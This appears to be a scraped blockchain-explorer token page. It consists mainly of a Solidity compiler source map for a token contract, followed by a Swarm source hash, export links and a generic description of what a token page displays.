18150:3638:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18795:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19978:169;;;;;;:::i;:::-;;:::i;:::-;;;1251:14:1;;1244:22;1226:41;;1214:2;1199:18;19978:169:0;1086:187:1;19072:100:0;19152:12;;19072:100;;;1424:25:1;;;1412:2;1397:18;19072:100:0;1278:177:1;19490:321:0;;;;;;:::i;:::-;;:::i;18981:83::-;19047:9;;18981:83;;19047:9;;;;1935:36:1;;1923:2;1908:18;18981:83:0;1793:184:1;21420:365:0;;;;;;:::i;:::-;;:::i;:::-;;19180:119;;;;;;:::i;:::-;19273:18;;19246:7;19273:18;;;;;;;;;;;;19180:119;18886:87;;;:::i;19307:175::-;;;;;;:::i;:::-;;:::i;19819:151::-;;;;;;:::i;:::-;19935:18;;;;19908:7;19935:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19819:151;18518:24;;;;;;;;;;;;3988:42:1;3976:55;;;3958:74;;3946:2;3931:18;18518:24:0;3812:226:1;18795:83:0;18832:13;18865:5;18858:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18795:83;:::o;19978:169::-;20061:4;20078:39;17226:10;20101:7;20110:6;20078:8;:39::i;:::-;-1:-1:-1;20135:4:0;19978:169;;;;;:::o;19490:321::-;19596:4;19613:36;19623:6;19631:9;19642:6;19613:9;:36::i;:::-;19660:121;19669:6;17226:10;19691:89;19729:6;19691:89;;;;;;;;;;;;;;;;;:19;;;;;;;:11;:19;;;;;;;;17226:10;19691:33;;;;;;;;;;:37;:89::i;:::-;19660:8;:121::i;:::-;-1:-1:-1;19799:4:0;19490:321;;;;;:::o;21420:365::-;21368:8;;;;21354:10;:22;21346:46;;;;;;;4687:2:1;21346:46:0;;;4669:21:1;4726:2;4706:18;;;4699:30;4765:13;4745:18;;;4738:41;4796:18;;21346:46:0;;;;;;;;;21492:9:::1;21487:291;21511:4;:11;21507:1;:15;21487:291;;;21544:15;21562:4;21567:1;21562:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;21601:18:::1;::::0;::::1;21584:14;21601:18:::0;;;;;;;;;;;21655:39;;;;::::1;::::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;:18;;;;;21562:7;;-1:-1:-1;21601:18:0;21655:39:::1;::::0;21601:18;;;;21655:22:::1;:39::i;:::-;21634:18;::::0;::::1;:9;:18:::0;;;::::1;::::0;;;;;;:60;;;;21733:21;;;;:33:::1;::::0;21759:6;21733:25:::1;:33::i;:::-;21709:9;:21:::0;;;::::1;::::0;;:57;-1:-1:-1;21524:3:0;;-1:-1:-1;21524:3:0::1;::::0;::::1;:::i;:::-;;;;21487:291;;;;21420:365:::0;:::o;18886:87::-;18925:13;18958:7;18951:14;;;;;:::i;19307:175::-;19393:4;19410:42;17226:10;19434:9;19445:6;19410:9;:42::i;20477:344::-;20579:19;;;20571:68;;;;;;;5605:2:1;20571:68:0;;;5587:21:1;5644:2;5624:18;;;5617:30;5683:34;5663:18;;;5656:62;5754:6;5734:18;;;5727:34;5778:19;;20571:68:0;5403:400:1;20571:68:0;20658:21;;;20650:68;;;;;;;6010:2:1;20650:68:0;;;5992:21:1;6049:2;6029:18;;;6022:30;6088:34;6068:18;;;6061:62;6159:4;6139:18;;;6132:32;6181:19;;20650:68:0;5808:398:1;20650:68:0;20729:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20781:32;;1424:25:1;;;20781:32:0;;1397:18:1;20781:32:0;;;;;;;;20477:344;;;:::o;20829:477::-;20935:20;;;20927:70;;;;;;;6413:2:1;20927:70:0;;;6395:21:1;6452:2;6432:18;;;6425:30;6491:34;6471:18;;;6464:62;6562:7;6542:18;;;6535:35;6587:19;;20927:70:0;6211:401:1;20927:70:0;21016:23;;;21008:71;;;;;;;6819:2:1;21008:71:0;;;6801:21:1;6858:2;6838:18;;;6831:30;6897:34;6877:18;;;6870:62;6968:5;6948:18;;;6941:33;6991:19;;21008:71:0;6617:399:1;21008:71:0;21110;21132:6;21110:71;;;;;;;;;;;;;;;;;:17;;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;21090:17;;;;:9;:17;;;;;;;;;;;:91;;;;21215:20;;;;;;;:32;;21240:6;21215:24;:32::i;:::-;21192:20;;;;:9;:20;;;;;;;;;;;;:55;;;;21263:35;1424:25:1;;;21192:20:0;;21263:35;;;;;;1397:18:1;21263:35:0;1278:177:1;14581:240:0;14701:7;14762:12;14754:6;;;;14746:29;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;14797:5:0;;;14581:240::o;12302:98::-;12360:7;12387:5;12391:1;12387;:5;:::i;:::-;12380:12;12302:98;-1:-1:-1;;;12302:98:0:o;14:607:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;612:2;542:66;537:2;529:6;525:15;521:88;510:9;506:104;502:113;494:121;;;;14:607;;;;:::o;626:196::-;694:20;;754:42;743:54;;733:65;;723:93;;812:1;809;802:12;723:93;626:196;;;:::o;827:254::-;895:6;903;956:2;944:9;935:7;931:23;927:32;924:52;;;972:1;969;962:12;924:52;995:29;1014:9;995:29;:::i;:::-;985:39;1071:2;1056:18;;;;1043:32;;-1:-1:-1;;;827:254:1:o;1460:328::-;1537:6;1545;1553;1606:2;1594:9;1585:7;1581:23;1577:32;1574:52;;;1622:1;1619;1612:12;1574:52;1645:29;1664:9;1645:29;:::i;:::-;1635:39;;1693:38;1727:2;1716:9;1712:18;1693:38;:::i;:::-;1683:48;;1778:2;1767:9;1763:18;1750:32;1740:42;;1460:328;;;;;:::o;1982:184::-;2034:77;2031:1;2024:88;2131:4;2128:1;2121:15;2155:4;2152:1;2145:15;2171:1180;2255:6;2286:2;2329;2317:9;2308:7;2304:23;2300:32;2297:52;;;2345:1;2342;2335:12;2297:52;2385:9;2372:23;2414:18;2455:2;2447:6;2444:14;2441:34;;;2471:1;2468;2461:12;2441:34;2509:6;2498:9;2494:22;2484:32;;2554:7;2547:4;2543:2;2539:13;2535:27;2525:55;;2576:1;2573;2566:12;2525:55;2612:2;2599:16;2634:2;2630;2627:10;2624:36;;;2640:18;;:::i;:::-;2686:2;2683:1;2679:10;2718:2;2712:9;2777:66;2772:2;2768;2764:11;2760:84;2752:6;2748:97;2895:6;2883:10;2880:22;2875:2;2863:10;2860:18;2857:46;2854:72;;;2906:18;;:::i;:::-;2942:2;2935:22;2992:18;;;3026:15;;;;-1:-1:-1;3068:11:1;;;3064:20;;;3096:19;;;3093:39;;;3128:1;3125;3118:12;3093:39;3152:11;;;;3172:148;3188:6;3183:3;3180:15;3172:148;;;3254:23;3273:3;3254:23;:::i;:::-;3242:36;;3205:12;;;;3298;;;;3172:148;;;3339:6;2171:1180;-1:-1:-1;;;;;;;;2171:1180:1:o;3356:186::-;3415:6;3468:2;3456:9;3447:7;3443:23;3439:32;3436:52;;;3484:1;3481;3474:12;3436:52;3507:29;3526:9;3507:29;:::i;3547:260::-;3615:6;3623;3676:2;3664:9;3655:7;3651:23;3647:32;3644:52;;;3692:1;3689;3682:12;3644:52;3715:29;3734:9;3715:29;:::i;:::-;3705:39;;3763:38;3797:2;3786:9;3782:18;3763:38;:::i;:::-;3753:48;;3547:260;;;;;:::o;4043:437::-;4122:1;4118:12;;;;4165;;;4186:61;;4240:4;4232:6;4228:17;4218:27;;4186:61;4293:2;4285:6;4282:14;4262:18;4259:38;4256:218;;4330:77;4327:1;4320:88;4431:4;4428:1;4421:15;4459:4;4456:1;4449:15;4256:218;;4043:437;;;:::o;4825:184::-;4877:77;4874:1;4867:88;4974:4;4971:1;4964:15;4998:4;4995:1;4988:15;5014:184;5066:77;5063:1;5056:88;5163:4;5160:1;5153:15;5187:4;5184:1;5177:15;5203:195;5242:3;5273:66;5266:5;5263:77;5260:103;;5343:18;;:::i;:::-;-1:-1:-1;5390:1:1;5379:13;;5203:195::o;7021:125::-;7086:9;;;7107:10;;;7104:36;;;7120:18;;:::i
Swarm Source
ipfs://a6482520c2fb0836d59b3cd83395b57b73b074b62a42e4ae4fe53d4653aa967e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.